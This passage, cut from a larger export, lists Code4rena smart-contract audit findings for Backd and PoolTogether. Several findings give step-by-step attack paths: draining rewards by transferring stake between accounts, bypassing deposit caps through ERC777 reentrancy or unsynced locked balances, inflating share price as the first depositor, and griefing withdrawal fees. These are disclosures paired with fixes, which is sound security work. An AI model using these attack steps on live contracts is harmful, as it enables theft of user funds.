"body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/TopUpAction.sol#L57-L65 # Vulnerability details ## Impact In function TopUpActionLibrary.lockFunds when transfers stakes from payer it doesn't call stakerVault.increaseActionLockedBalance for that payer so stakerVault.actionLockedBalances[payer] is not get updated for payer and stakerVault.stakedAndActionLockedBalanceOf(payer) is going to show wrong value and any calculation based on this function is gonna be wrong which will cause fund lose and theft and some restriction bypasses. ## Proof of Concept When user wants to create a TopUpAction. so he seposit his funds to Pool and get LP token. then stake the LP token in StakerVault and use that stakes to create a TopUp position with function TopUpAction.register. This function transfer user stakes (locks user staks) and create his position. for transferring and locking user stakes it uses TopUpActionLibrary.lockFunds. function lockFunds transfers user stakes but don't call stakerVault.increaseActionLockedBalance for the payer which cause that stakerVault.actionLockedBalances[payer] to get different values(not equal to position.depositTokenBalance). function StakerVault.stakedAndActionLockedBalanceOf(account) uses stakerVault.actionLockedBalances[account] so it will return wrong value and any where in code that uses stakedAndActionLockedBalanceOf() is going to cause problems. three part of the codes uses stakerVault.stakedAndActionLockedBalanceOf(): 1- LiqudityPool.depositFor() for checking user total deposits to be less than depositCap. 2- LiqudityPool._updateUserFeesOnDeposit() for updating user fee on new deposits. 3- userCheckpoint() for calculating user rewards. attacker can use #1 and #2 to bypass high fee payment and max depositCap and #3 will cause users to lose rewards. The detail steps: 1- user deposit fund to Pool and get LP token. 2- user stakes LP token in StakerVault. 3- user approve TopUpAction address to transfer his staks in StakerVault. 3- user use all his stakes to create a position with TopUpAction.register() function. 3.1- register() will call lockFunds to transfer and lock user stakes. 3.2- lockFunds() will transfer user stakes with stakerVault.transferFrom() but don't call stakerVault.increaseActionLockedBalance() so StakerVault.actionLockedBalances[user] will be zero. 3.3- StakerVault.balance[useer] will be zero too because his stakes get transfers in 3.2 4- StakerVault.stakedAndActionLockedBalanceOf(user) will return zero (user has some locked stakes in TopUpAction but because of the bug calculation get out of sync) In this moment user will lose all the rewards that are minted in LpGauge. becasue userCheckpoint() use stakerVault.stakedAndActionLockedBalanceOf(user) for calculating rewards which is zero and new rewards will be zero too. Attacker can use this process to bypass \"max deposit Cap\" and deposit any amount of assets he wants. because LiqudityPool.depositFor(address,uint256,uint256) uses stakedAndActionLockedBalanceOf to check user deposits which is zero so Attacker can deposit & stake & register to make his balance zero and repeat this and in the end reset his TopUp positions to get back his large stakes which are multiple time bigger than \"max deposit Cap\" Attacker can also use this process to bypass fee penalties for early withdraw. because LiqudityPool._updateUserFeesOnDeposit() to get user current balance use stakedAndActionLockedBalanceOf() which is zero. so the value of shareExisting variable become zero and newFeeRatio will be calculated based on feeOnDeposit which can be minFee if asset is already in wallet for some time. ## Tools Used VIM ## Recommended Mitigation Steps add this line to TopUpActionLibrary.lockFunds() after stakerVault.transferFrom(): stakerVault.increaseActionLockedBalance(payer, amountLeft); "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Griefer can extend period of higher withdrawal fees", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/56", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/pool/LiquidityPool.sol#L790-L792 # Vulnerability details ## Impact The `_updateUserFeesOnDeposit()` function in `LiquidityPool.sol` is used to update a user's withdrawal fees after an action such as deposit, transfer in, etc. The withdrawal fee decays toward a minimum withdrawal fee over a period of 1 or 2 weeks (discussed with developer). Since anyone can transfer lp tokens to any user, a griefer can transfer 1 wei of lp tokens to another user to reset their `lastActionTimestamp` used in the withdrawal fee calculation. The developers nicely weight the updated withdrawal fee by taking the original balance/original fee vs the added balance/added fee. The attacker will only be able to extend the runway of the withdrawal fee cooldown by resetting the `lastActionTimestamp` for future calculations. Example below: ## Proof of Concept Assumptions: - MinWithdrawalFee = 0% //For easy math - MaxWithdrawalFee = 10% - timeToWait = 2 weeks ### Steps - User A has `100 wei` of shares - User A waits 1 week (Current withdrawal fee = 5%) - User B deposits, receives `1 wei` of shares, current withdrawal fee = 10% - User B immediately transfers `1 wei` of shares to User A Based on the formula to calculated User A's new feeRatio: ``` uint256 newFeeRatio = shareExisting.scaledMul(newCurrentFeeRatio) + shareAdded.scaledMul(feeOnDeposit); ``` In reality, User A's withdrawal fee will only increase by a negligible amount since the shares added were very small in proportion to the original shares. We can assume user A's current withdrawal fee is still 5%. The issue is that the function then reset's User A's `lastActionTimestamp` to the current time. This means that User A will have to wait the maximum 2 weeks for the withdrawal fee to reduce from 5% to 0%. Effectively the cooldown runway is the same length as the original runway length, so the decay down to 0% will take twice as long. `meta.lastActionTimestamp = uint64(_getTime());` ## Tools Used Manual Review ## Recommended Mitigation Steps Instead of resetting `lastActionTimestamp` to the current time, scale it the same way the `feeRatio` is scaled. I understand that this would technically not be the timestamp of the last action, so the variable would probably need to be renamed. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/54", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "`call()` should be used instead of `transfer()` on an `address payable`", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/52", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/actions/topup/TopUpAction.sol#L291 https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/pool/EthPool.sol#L30 https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/strategies/BkdEthCvx.sol#L77 https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/strategies/BkdEthCvx.sol#L93 https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/strategies/BkdEthCvx.sol#L117 https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/vault/EthVault.sol#L29 https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/vault/EthVault.sol#L37 https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/vault/VaultReserve.sol#L81 # Vulnerability details This is a classic Code4rena issue: - https://github.com/code-423n4/2021-04-meebits-findings/issues/2 - https://github.com/code-423n4/2021-10-tally-findings/issues/20 - https://github.com/code-423n4/2022-01-openleverage-findings/issues/75 ## Impact The use of the deprecated `transfer()` function for an address will inevitably make the transaction fail when: 1. The claimer smart contract does not implement a payable function. 2. The claimer smart contract does implement a payable fallback which uses more than 2300 gas unit. 3. The claimer smart contract implements a payable fallback function that needs less than 2300 gas units but is called through proxy, raising the call's gas usage above 2300. Additionally, using higher than 2300 gas might be mandatory for some multisig wallets. ## Impacted lines: ```solidity backd/contracts/pool/EthPool.sol: 30: to.transfer(amount); backd/contracts/strategies/BkdEthCvx.sol: 77: payable(vault).transfer(amount); 93: payable(vault).transfer(amount); 117: payable(vault).transfer(underlyingBalance); backd/contracts/vault/EthVault.sol: 29: payable(to).transfer(amount); 37: payable(addressProvider.getTreasury()).transfer(amount); backd/contracts/vault/VaultReserve.sol: 81: payable(msg.sender).transfer(amount); ``` ## Recommended Mitigation I recommend using `call()` instead of `transfer()` "}, {"title": "`getNewCurrentFees` reverts when `minFeePercentage` > `feeRatio`", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/pool/LiquidityPool.sol#L694 # Vulnerability details ## Impact Depositors won't be able to transfer or redeem funds temporarily. The problem is caused by the implementation of `LiquidityPool.getNewCurrentFees`: ``` function getNewCurrentFees( uint256 timeToWait, uint256 lastActionTimestamp, uint256 feeRatio ) public view returns (uint256) { uint256 timeElapsed = _getTime() - lastActionTimestamp; uint256 minFeePercentage = getMinWithdrawalFee(); if (timeElapsed >= timeToWait) { return minFeePercentage; } uint256 elapsedShare = timeElapsed.scaledDiv(timeToWait); return feeRatio - (feeRatio - minFeePercentage).scaledMul(elapsedShare); } ``` The last line requires the current `feeRatio` to be higher than `minFeePercentage` or the function will revert. When this condition is broken, some critical functions such as transferring tokens and redeeming will be unusable. Affected users need to wait until enough time has elapsed and `getNewCurrentFees` returns `minFeePercentage` on [L691](https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/pool/LiquidityPool.sol#L691). This could happen if governance changes the `MinWithdrawalFee` to be higher than a user's feeRatio. ## Proof of Concept - Initial `MinWithdrawalFee` is set to 0, `MaxWithdrawalFee` is set to 0.03e18. - Alice deposits fund and receives LP token. Alice's `feeRatio` is now set to 0.03e18 (the current `MaxWithdrawalFee`). - Governance changes `MaxWithdrawalFee` to `0.05e18` and `MinWithdrawalFee` to `0.04e18`. - `minFeePercentage` is now higher than Alice's `feeRatio` and she can't transfer nor redeem the LP token until `timeElapsed >= timeToWait`. ## Recommended Mitigation Steps Add a new condition in `getNewCurrentFees` [L690](https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/pool/LiquidityPool.sol#L690) to account for this case: ``` if (timeElapsed >= timeToWait || minFeePercentage > feeRatio) { return minFeePercentage; } ``` "}, {"title": "`_decimalMultiplier` doesn't account for tokens with decimals higher than 18", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/49", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/strategies/StrategySwapper.sol#L287-L289 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/strategies/StrategySwapper.sol#L318-L320 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/strategies/StrategySwapper.sol#L335-L337 # Vulnerability details ## Impact In `StrategySwapper`, swapping from or to tokens with decimals higher than 18 will always revert. This will cause inabilities for strategies to harvest rewards. ## Proof of Concept [L288](https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/strategies/StrategySwapper.sol#L288) will revert when `token_` has higher than 18 decimals. ``` return 10**(18 - IERC20Full(token_).decimals()); ``` ## Recommended Mitigation Steps Consider modifying how `_decimalMultiplier` works so it could handle tokens with higher than 18 decimals. Update the calculation of `_minTokenAmountOut` and `_minWethAmountOut` to account when decimals are higher/lower than `18`. "}, {"title": "ERC777 tokens can bypass `depositCap` guard", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/pool/LiquidityPool.sol#L523 # Vulnerability details ## Impact When ERC777 token is used as the underlying token for a `LiquidityPool`, a depositor can reenter `depositFor` and bypass the `depositCap` requirement check, resulting in higher total deposit than intended by governance. ## Proof of Concept - An empty ERC777 liquidity pool is capped at 1.000 token. - Alice deposits 1.000 token. Before the token is actually sent to the contract, `tokensToSend` ERC777 hook is called and Alice reenters `depositFor`. - As the previous deposit hasn't been taken into account, the reentrancy passes the `depositCap` check. - Pool has 2.000 token now, despite the 1.000 deposit cap. ## Recommended Mitigation Steps Add reentrancy guards to `depositFor`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "User can steal all rewards due to checkpoint after transfer", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/36", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/StakerVault.sol#L112-L119 # Vulnerability details ## Impact I believe this to be a high severity vulnerability that is potentially included in the currently deployed `StakerVault.sol` contract also. The team will be contacted immediately following the submission of this report. In `StakerVault.sol`, the user checkpoints occur AFTER the balances are updated in the `transfer()` function. The user checkpoints update the amount of rewards claimable by the user. Since their rewards will be updated after transfer, a user can send funds between their own accounts and repeatedly claim maximum rewards since the pool's inception. In every actionable function except `transfer()` of `StakerVault.sol`, a call to `ILpGauge(lpGauge).userCheckpoint()` is correctly made BEFORE the action effects. ## Proof of Concept Assume a certain period of time has passed since the pool's inception. For easy accounting, assume `poolStakedIntegral` of `LpGauge.sol` equals `1`. The `poolStakedIntegral` is used to keep track of the current reward rate. Steps: - Account A stakes 1000 LP tokens. `balances[A] += 1000` - In the same `stakeFor()` function, `userCheckpoint()` was already called so A will already have `perUserShare[A]` set correctly based on their previously 0 balance and the current `poolStakedIntegral`. - Account A can immediately send all balance to Account B via `transfer()`. - Since the checkpoint occurs after the transfer, B's balance will increase and then `perUserShare[B]` will be updated. The calculation for `perUserShare` looks as follows. ``` perUserShare[user] += ( (stakerVault.stakedAndActionLockedBalanceOf(user)).scaledMul( (poolStakedIntegral_ - perUserStakedIntegral[user]) ) ); ``` Assuming Account B is new to the protocol, their `perUserStakedIntegral[user]` will default to `0`. `perUserShare[B] += 1000 * (1 - 0) = 1000` - B is able to call `claimRewards()` and mint all 1000 reward tokens. - B then calls `transfer()` and sends all 1000 staked tokens to Account C. - Same calculation occurs, and C can claim all 1000 reward tokens. - This process can be repeated until the contract is drained of reward tokens. ## Tools Used Static review. ## Recommended Mitigation Steps In `StakerVault.transfer()`, move the call to `ILpGauge(lpGauge).userCheckpoint()` to before the balances are updated. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Chainlink's latestRoundData might return stale or incorrect results", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/17", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "Chainlink's latestRoundData might return stale or incorrect results"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/4", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/2", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/96", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/94", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/92", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Owner or Managers can rug Aave rewards", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/89", "labels": ["bug", "2 (Med Risk)"], "target": "2022-04-pooltogether-findings", "body": "Owner or Managers can rug Aave rewards"}, {"title": "Yield source does not correctly calculate share conversions", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/86", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-04-pooltogether-findings", "body": "Yield source does not correctly calculate share conversions"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/84", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/79", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/73", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "`RewardsController` Emission Manager Can Authorize Users to Claim on Behalf of the `AaveV3YieldSource` Contract and Siphon Yield", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/70", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-04-pooltogether-findings", "body": "`RewardsController` Emission Manager Can Authorize Users to Claim on Behalf of the `AaveV3YieldSource` Contract and Siphon Yield"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/67", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/58", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/50", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "[WP-H1] A malicious early user/attacker can manipulate the vault's pricePerShare to take an unfair share of future users' deposits", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/44", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "# Lines of code https://github.com/pooltogether/aave-v3-yield-source/blob/e63d1b0e396a5bce89f093630c282ca1c6627e44/contracts/AaveV3YieldSource.sol#L352-L374 # Vulnerability details This is a well-known attack vector for new contracts that utilize pricePerShare for accounting. https://github.com/pooltogether/aave-v3-yield-source/blob/e63d1b0e396a5bce89f093630c282ca1c6627e44/contracts/AaveV3YieldSource.sol#L352-L374 ```solidity /** * @notice Calculates the number of shares that should be minted or burnt when a user deposit or withdraw. * @param _tokens Amount of asset tokens * @return Number of shares. */ function _tokenToShares(uint256 _tokens) internal view returns (uint256) { uint256 _supply = totalSupply(); // shares = (tokens * totalShares) / yieldSourceATokenTotalSupply return _supply == 0 ? _tokens : _tokens.mul(_supply).div(aToken.balanceOf(address(this))); } /** * @notice Calculates the number of asset tokens a user has in the yield source. * @param _shares Amount of shares * @return Number of asset tokens. */ function _sharesToToken(uint256 _shares) internal view returns (uint256) { uint256 _supply = totalSupply(); // tokens = (shares * yieldSourceATokenTotalSupply) / totalShares return _supply == 0 ? _shares : _shares.mul(aToken.balanceOf(address(this))).div(_supply); } ``` A malicious early user can `supplyTokenTo()` with `1 wei` of `_underlyingAssetAddress` token as the first depositor of the `AaveV3YieldSource.sol`, and get `1 wei` of shares token. Then the attacker can send `10000e18 - 1` of `aToken` and inflate the price per share from 1.0000 to an extreme value of 1.0000e22 ( from `(1 + 10000e18 - 1) / 1`) . As a result, the future user who deposits `19999e18` will only receive `1 wei` (from `19999e18 * 1 / 10000e18`) of shares token. They will immediately lose `9999e18` or half of their deposits if they `redeemToken()` right after the `supplyTokenTo()`. https://github.com/pooltogether/aave-v3-yield-source/blob/e63d1b0e396a5bce89f093630c282ca1c6627e44/contracts/AaveV3YieldSource.sol#L251-L256 ```solidity function redeemToken(uint256 _redeemAmount) external override nonReentrant returns (uint256) { address _underlyingAssetAddress = _tokenAddress(); IERC20 _assetToken = IERC20(_underlyingAssetAddress); uint256 _shares = _tokenToShares(_redeemAmount); _burn(msg.sender, _shares); ... ``` Furthermore, after the PPS has been inflated to an extremely high value (`10000e18`), the attacker can also redeem tokens up to `9999e18` for free, (burn `0` shares) due to the precision loss. ### Recommendation Consider requiring a minimal amount of share tokens to be minted for the first minter, and send a port of the initial mints as a reserve to the DAO address so that the pricePerShare can be more resistant to manipulation. Also, consder adding `require(_shares > 0, \"AaveV3YS/shares-gt-zero\");` before `_burn(msg.sender, _shares);`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/40", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/39", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "User fund loss in supplyTokenTo() because of rounding", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/37", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "# Lines of code https://github.com/pooltogether/aave-v3-yield-source/blob/e63d1b0e396a5bce89f093630c282ca1c6627e44/contracts/AaveV3YieldSource.sol#L231-L242 https://github.com/pooltogether/aave-v3-yield-source/blob/e63d1b0e396a5bce89f093630c282ca1c6627e44/contracts/AaveV3YieldSource.sol#L357-L362 # Vulnerability details ## Impact When user use `supplyTokenTo()` to deposit his tokens and get `share` in `FeildSource` because of rounding in division user gets lower amount of `share`. for example if token's `_decimal` was `1` and `totalSupply()` was `1000` and `aToken.balanceOf(FieldSource.address)` was `2100` (becasue of profits in `Aave Pool` `balance` is higher than `supply`), then if user deposit `4` token to the contract with `supplyTokenTo()`, contract is going to `mint` only `1` share for that user and if user calls `YeildToken.balanceOf(user)` the return value is going to be `2` and user already lost half of his deposit. Of course if `_precision ` was high this loss is going to be low enough to ignore but in case of low `_precision` and high price `token` and high `balance / supply` ratio this loss is going to be noticeable. ## Proof of Concept This is the code of `supplyTokenTo()`: ``` function supplyTokenTo(uint256 _depositAmount, address _to) external override nonReentrant { uint256 _shares = _tokenToShares(_depositAmount); require(_shares > 0, \"AaveV3YS/shares-gt-zero\"); address _underlyingAssetAddress = _tokenAddress(); IERC20(_underlyingAssetAddress).safeTransferFrom(msg.sender, address(this), _depositAmount); _pool().supply(_underlyingAssetAddress, _depositAmount, address(this), REFERRAL_CODE); _mint(_to, _shares); emit SuppliedTokenTo(msg.sender, _shares, _depositAmount, _to); } ``` which in line: `_shares = _tokenToShares(_depositAmount)` trying to calculated `shares` corresponding to the number of tokens supplied. and then transfer `_depositAmount` from user and `mint` shares amount for user. the problem is that if user convert `_shares` to token, he is going to receive lower amount because in most cases: ``` _depositAmount > _sharesToToken(_tokenToShares(_depositAmount)) ``` and that's because of rounding in division. Value of `_shares` is less than _depositAmount. so `YeildSource` should only take part of `_depositAmount` that equals to `_sharesToToken(_tokenToShares(_depositAmount))` and mint `_share` for user. Of course if `_precision` was high and `aToken.balanceOf(FieldSource.address) / totalSupply()` was low, then this amount will be insignificant, but for some cases it can be harmful for users. for example this conditions: - `_perecision` is low like 1 or 2. - `token` value is very high like BTC. - `aToken.balanceOf(FieldSource.address) / totalSupply()` is high due to manipulation or profit in `Aave pool`. ## Tools Used VIM ## Recommended Mitigation Steps To resolve this issue this can be done: ``` function supplyTokenTo(uint256 _depositAmount, address _to) external override nonReentrant { uint256 _shares = _tokenToShares(_depositAmount); require(_shares > 0, \"AaveV3YS/shares-gt-zero\"); _depositAmount = _sharesToToken(_shares); // added hero to only take correct amount of user tokens address _underlyingAssetAddress = _tokenAddress(); IERC20(_underlyingAssetAddress).safeTransferFrom(msg.sender, address(this), _depositAmount); _pool().supply(_underlyingAssetAddress, _depositAmount, address(this), REFERRAL_CODE); _mint(_to, _shares); emit 